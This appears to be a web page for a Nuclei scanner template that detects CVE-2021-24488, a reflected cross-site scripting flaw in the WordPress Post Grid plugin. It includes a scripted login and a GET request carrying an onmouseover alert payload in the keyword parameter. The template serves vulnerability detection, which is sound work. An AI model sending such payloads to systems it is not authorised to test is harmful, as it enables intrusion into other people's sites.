WordPress Post Grid <2.1.8 - Cross-Site Scripting

ID: CVE-2021-24488

Severity: medium

Author: cckuailong

Tags: cve2021,cve,authenticated,wpscan,xss,wp,wordpress,wp-plugin,pickplugins

Description

WordPress Post Grid plugin before 2.1.8 contains a reflected cross-site scripting vulnerability. The slider import search feature and tab parameter of thesettings are not properly sanitized before being output back in the pages,

YAML Source

id: CVE-2021-24488

info:
  name: WordPress Post Grid <2.1.8 - Cross-Site Scripting
  author: cckuailong
  severity: medium
  description: WordPress Post Grid plugin before 2.1.8 contains a reflected cross-site scripting vulnerability. The slider import search feature and tab parameter of thesettings are not properly sanitized before being output back in the pages,
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Post Grid plugin (2.1.8 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1fc0aace-ba85-4939-9007-d150960add4a
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24488
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24488
    cwe-id: CWE-79
    epss-score: 0.00302
    epss-percentile: 0.66468
    cpe: cpe:2.3:a:pickplugins:post_grid:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: pickplugins
    product: post_grid
    framework: wordpress
  tags: cve2021,cve,authenticated,wpscan,xss,wp,wordpress,wp-plugin,pickplugins

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword="onmouseover=alert(document.domain)// HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="\"onmouseover=alert(document.domain)/">'
          - 'Post Grid'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402206aed533101319e461e89d97fe100189262e0f651bdf2c666e1c5e206fd5e206902207979757440ceb33fae3b073e917c016556904f17d1141f1f11fb02fef356e2fd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24488.yaml"

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